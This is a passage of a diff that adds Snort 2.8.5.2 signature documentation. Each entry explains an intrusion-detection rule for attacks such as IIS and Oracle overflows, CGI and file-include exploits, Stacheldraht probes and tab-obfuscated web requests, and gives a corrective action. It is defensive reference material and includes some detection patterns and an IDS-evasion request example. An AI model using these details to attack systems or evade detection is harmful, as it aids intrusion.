+DNS Zone transfers may be part of normal traffic for DNS servers.
+
+--
+False Negatives:  
+None known
+
+--
+Corrective Action:
+Configure the DNS servers to only allow zone transfers from authorised 
+hosts, limit the information available from publicly acessible DNS 
+server by using Split Horizon DNS or separate DNS Servers for internal 
+networks.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/640.txt
+++ snort-2.8.5.2/doc/signatures/640.txt
@@ -0,0 +1,59 @@
+Rule: 
+
+--
+Sid: 640
+
+--
+Summary: 
+This event is generated when a buffer overflow attack is attempted against a target machine.
+
+--
+Impact: 
+Serious. The attacker may be able to gain remote access to the system or have the ability to execute arbitrary code with the privileges of a system user.
+
+
+-- 
+Detailed Information: 
+This rule tracks the bit combination which may occur in network packets aimed at overflowing IRIX MIPS network services. The buffer overflow attack attempts to force the vulnerable application to execute  attacker-controlled code in order to gain interactive access or run arbitrary commands on the vulnerable system.
+
+A specific string used during the overflow is application-dependent however, a platform-specific command or code may be present and is detected by this rule.
+
+--
+Attack Scenarios: 
+An attacker launches an overflow exploit against a vulnerable FTP server and gains the ability to start a shell session, thus obtaining interactive access to the target.
+
+--
+Ease of Attack: 
+Simple
+
+
+--
+False Positives: 
+This event may be generated by legitimate traffic to the specified port.
+
+
+-- 
+False Negatives: 
+This event is specific to the shell code defined in the rule.
+Other shell code sequences may not be detected.
+
+--
+Corrective Action: 
+Check the target host for other signs of compromise.
+
+Look for other events concerning the target host.
+
+Apply vendor supplied patches and keep the operating system up to date.
+
+--
+Contributors: 
+Original Rule Writer Unkown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/862.txt
+++ snort-2.8.5.2/doc/signatures/862.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+862
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2720.txt
+++ snort-2.8.5.2/doc/signatures/2720.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2720
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_column_group_to_flavor
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1004.txt
+++ snort-2.8.5.2/doc/signatures/1004.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1004
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/236.txt
+++ snort-2.8.5.2/doc/signatures/236.txt
@@ -0,0 +1,60 @@
+Rule:
+--
+Sid:
+236
+
+--
+Summary:
+This event is generated when a Stacheldraht handler probes for a Stacheldraht agent on the destination host.
+
+--
+Impact:
+Severe. This indicates that a Stacheldraht handler may exist on the source host and an agent may exist on the destination host.
+
+--
+Detailed Information:
+The Stacheldraht DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. 
+
+There are "handler" hosts that are used to coordinate the attacks and "agent" hosts that launch the attack. A handler can discover if a particular host is a Stacheldraht agent by sending it an ICMP echo reply with an ICMP identification number of 668 and a string of "gesundheit!" in the payload.
+
+--
+Affected Systems:
+Any Stacheldraht compromised host.
+
+--
+Attack Scenarios:
+A handler may attempt to discover if the destination host is a Stacheldraht agent. A script named "gag" can be used to generate this communication for a defender or attacker to discover if a host is a Stacheldraht agent.
+
+--
+Ease of Attack:
+Simple.  The gag script is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS194
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2582.txt
+++ snort-2.8.5.2/doc/signatures/2582.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+2582
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a directory
+traversal associated with the Crystal Reports web viewer.
+
+--
+Impact:
+A successful attack may allow unauthorized files to be viewed or
+possibly deleted.
+
+--
+Detailed Information:
+A vulnerability exists in the Crystal Reports web viewer that may permit
+an attacker to view or delete unauthorized files.  The is due to a
+failure to ensure that that a requested Crystal Report file location
+is in the web root directory, permitting unauthorized files to be
+viewed.
+
+In addition, Crystal Reports assumes that the requested report
+file for viewing is a temporary file and deletes it after the
+web version has been viewed.  This problem combined with the
+directory traversal vulnerability may allow sensitive or valuable
+files to be deleted.
+
+--
+Affected Systems:
+Crystal Reports 8.5 JAVA SDK
+Crystal Reports RAS 8.5 for UNIX
+Crystal Reports 9.0
+Crystal Enterprise 9.0
+Crystal Reports 10
+Crystal Reports 10.0
+
+--
+Attack Scenarios:
+An attacker can request to view a file not in the web root
+directory, permitting unauthorized information disclosure.
+The viewed file will be deleted subsequently possibly causing
+harm to the server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0204
+
+Other:
+http://www.microsoft.com/security/bulletins/200406_crystal.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000172.txt
+++ snort-2.8.5.2/doc/signatures/100000172.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid: 
+100000172
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Lynx text-based web browser.
+
+-- 
+Impact: 
+Code execution on the victim machine with the privileges of the user running 
+Lynx.
+
+--
+Detailed Information:
+A vulnerability exists in the way that Lynx handles links when browsing NNTP 
+resources. The function that handles the display of information from article 
+headers when listing available files on the server, inserts extra characters to 
+handle certain character sets. This function does not properly check how much 
+extra data is inserted and it is possible to overflow a static buffer and 
+execute code in the context of the browser process.
+
+--
+Affected Systems:
+Lynx versions 2.8.6 and prior
+
+--
+Attack Scenarios: 
+An attacker would need to supply a malicious link on an nntp server to the user 
+using Lynx.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action: 
+Apply the appropriate patch.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Original Rule writer rmkml <rmkml@free.fr>
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Original advisory posting:
+http://lists.grok.org.uk/pipermail/full-disclosure/2005-October/038019.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1087.txt
+++ snort-2.8.5.2/doc/signatures/1087.txt
@@ -0,0 +1,63 @@
+Rule:  
+
+Sid:
+1087
+
+--
+
+Summary:
+This event is generated when an attempt is made to evade an IDS in a 
+possible web attack by obfuscating the request with tabs.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+Some web servers (e.g., some versions of Apache) will interpret tabs
+as spaces in web requests.  This is used by some tools (e.g., Whisker)
+in an attempt to evade IDS systems.
+
+--
+Affected Systems:
+	All systems running a web server
+
+--
+Attack Scenarios:
+An attacker runs an automated tool, like Whisker, against a web server, or
+runs an attack by hand with a URL similar to:  GET<tab>/<tab>HTML/1.0
+
+--
+Ease of Attack:
+Simple. Automated tools are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Examine the packet to see if a web request was being made. Try to
+determine what the requested item was (e.g., a file or CGI), and determine
+from the web server's configuration whether it was a threat or not
+(e.g., whether the requested file or CGI even existed or was vulnerable).
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+--
+Additional References:
+Arachnids:  415
+URL:  www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2623.txt
+++ snort-2.8.5.2/doc/signatures/2623.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2623
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in useful
+tasks. The "create_snapshot_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the first variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck97.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1919.txt
+++ snort-2.8.5.2/doc/signatures/1919.txt
@@ -0,0 +1,59 @@
+Rule:
+--
+Sid:
+1919
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow or denial of service vulnerability associated with FTP CWD command. 
+
+--
+Impact:
+Remote access or denial of service.  A successful attack can cause a denial of service or allow remote execution of arbitrary commands with privileges of the process running the FTP server. 
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit various vulnerabilities associated with the FTP CWD command of different FTP servers. It is possible to cause a denial of service attack or gain remote access to execute arbitrary commands with the privileges of the process running the FTP server by sending an overly long argument with the FTP CWD command. 
+
+--
+Affected Systems:
+Hosts running BlackMoon FTP Server 1.0 through 1.5. 
+Hosts running Argosoft FRP server 1.0.
+Hosts running TYPSoft FTP Server 0.7x. 
+
+--
+Attack Scenarios:
+An attacker can supply an overly long file argument with the CWD command, causing a denial of service or buffer overflow.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0126
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-1194
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-1035
+
+--
--- snort-2.8.5.2.orig/doc/signatures/968.txt
+++ snort-2.8.5.2/doc/signatures/968.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+968
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions 98
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q188/2/57.ASP&NoWebContent=1
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2012.txt
+++ snort-2.8.5.2/doc/signatures/2012.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2012
+
+--
+Summary:
+CVS is the Concurrent Versions System, commonly used to 
+help manage software development.
+
+--
+Impact:
+This may be an intelligence gathering activity or an attempt to connect 
+to CVS using the credentials of a user with escalated privileges. Should
+this attempt be succesful the entire CVS repository may be compromised.
+
+--
+Detailed Information:
+This rule detects attempts to connect to a CVS repository that fail due 
+determined activity by an attacker to gain unauthorized access to the 
+CVS respository.
+
+The source code of software in the repository may be compromised by a 
+succesful attacker who could choose to insert malicious code of his own 
+making.
+
+For CVS daemons running under changed root conditions (chroot), the rest
+of the operating system files may be protected but the entire CVS 
+directory structure and contents is vulnerable.
+
+--
+Affected Systems:
+	All versions of CVS
+	
+--
+Attack Scenarios:
+This may be an intelligence gathering activity or an attempt to log in 
+to CVS using the credentials of an authorized user.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+It is possible that the cvsroot on the server is misconfigured. Check 
+permissions on the cvsroot to ensure the repository is writable by the 
+cvsdaemon.
+
+--
+False Negatives:
+Connections to the server using zlib compression will not generate this
+event.
+
+--
+Corrective Action:
+Disable the CVS daemon in the file /etc/inetd.conf. Run the CVS daemon 
+as a user other than root that does not have a valid login to the 
+machine.
+
+Disable anonymous cvs access to the server where appropriate.
+
+Maintain checks on the password database and the CVS repository.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVS:
+http://www.cvshome.org/docs/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2864.txt
+++ snort-2.8.5.2/doc/signatures/2864.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2864
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_raw
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2600.txt
+++ snort-2.8.5.2/doc/signatures/2600.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2600
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "add_grouped_column" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by long strings in some parameters for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to either the "sname" or
+"oname" variables to cause the overflow. The result could
+permit the attacker to gain escalated privileges and run code of their
+choosing. This attack requires an attacker to logon to the database
+with a valid username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck633.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2662.txt
+++ snort-2.8.5.2/doc/signatures/2662.txt
@@ -0,0 +1,54 @@
+Rule: 
+
+--
+Sid: 
+2662
+
+-- 
+Summary: 
+This rule is intended to increase the accuracy of rules designed to
+generate events based on attempts to exploit implementations of Secure
+Socket Layer (SSL) version 2.
+
+-- 
+Impact: 
+None. This is a protocol decode rule that does not generate events.
+
+--
+Detailed Information:
+This is a protocol decode rule that does not generate events.
+
+--
+Affected Systems:
+NA
+
+--
+Attack Scenarios: 
+NA
+
+-- 
+Ease of Attack: 
+NA
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+NA
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3149.txt
+++ snort-2.8.5.2/doc/signatures/3149.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3149
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability in Microsoft Internet Explorer.
+
+--
+Impact:
+Serious. Code execution is possible leading to unauthorized
+administrative access to the target host.
+
+--
+Detailed Information:
+Microsoft Internet Explorer uses the Object tag to identify ActiveX
+controls sometimes used in web content.
+
+A programming error in the processing of a buffer that handles the
+"item" parameter of an object tag can lead to the exposure of a buffer
+overflow condition. An attacker may be able to overflow this buffer and
+supply code of their choosing to be executed on the system with the
+privileges of the administrative account.
+
+The procedure that checks the length of a buffer that handles the item
+parameter may be bypassed by using the slash character either directly
+or via encoding methods. This vulnerability may be exploited whenever
+Internet Explorer is used to read HTML files.
+
+--
+Affected Systems:
+	Systems using Microsoft Windows
+
+--
+Attack Scenarios:
+An attacker can overflow a buffer by inserting extra data into the input
+parameter of a malicious html file. The attacker may then insert code of
+their choosing to either run commands on the system or execute the code
+with the privileges of the administrative account.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1400.txt
+++ snort-2.8.5.2/doc/signatures/1400.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1400
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3397.txt
+++ snort-2.8.5.2/doc/signatures/3397.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3397
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1260.txt
+++ snort-2.8.5.2/doc/signatures/1260.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1260
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in AOLServer.
+
+--
+Impact:
+Possible Denial of Service (DoS) and execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in versions of AOL Server that may allow an
+attacker to overflow a fixed length buffer and execute code of their
+choosing on a vulnerable host.
+
+The problem lies in the processing of user supplied passwords used in
+basic authentication to the host. A long password may exceed a fixed
+length buffer and allow an attacker to overwrite portions of memory and
+execute code of their choosing.
+
+--
+Affected Systems:
+	AOL AOLServer 3.0 and 3.2
+
+--
+Attack Scenarios:
+An attacker needs to supply a password 2048 bytes in length to trigger
+the overflow.
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-vulnerable version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000436.txt
+++ snort-2.8.5.2/doc/signatures/100000436.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000436
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BlueShoes" application running on a webserver. Access to the file "Bs_Wse_Profile.class.php" using a remote file being passed as the "APP[path][plugins]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "APP[path][plugins]" parameter in the "Bs_Wse_Profile.class.php" script used by the "BlueShoes" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BlueShoes
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
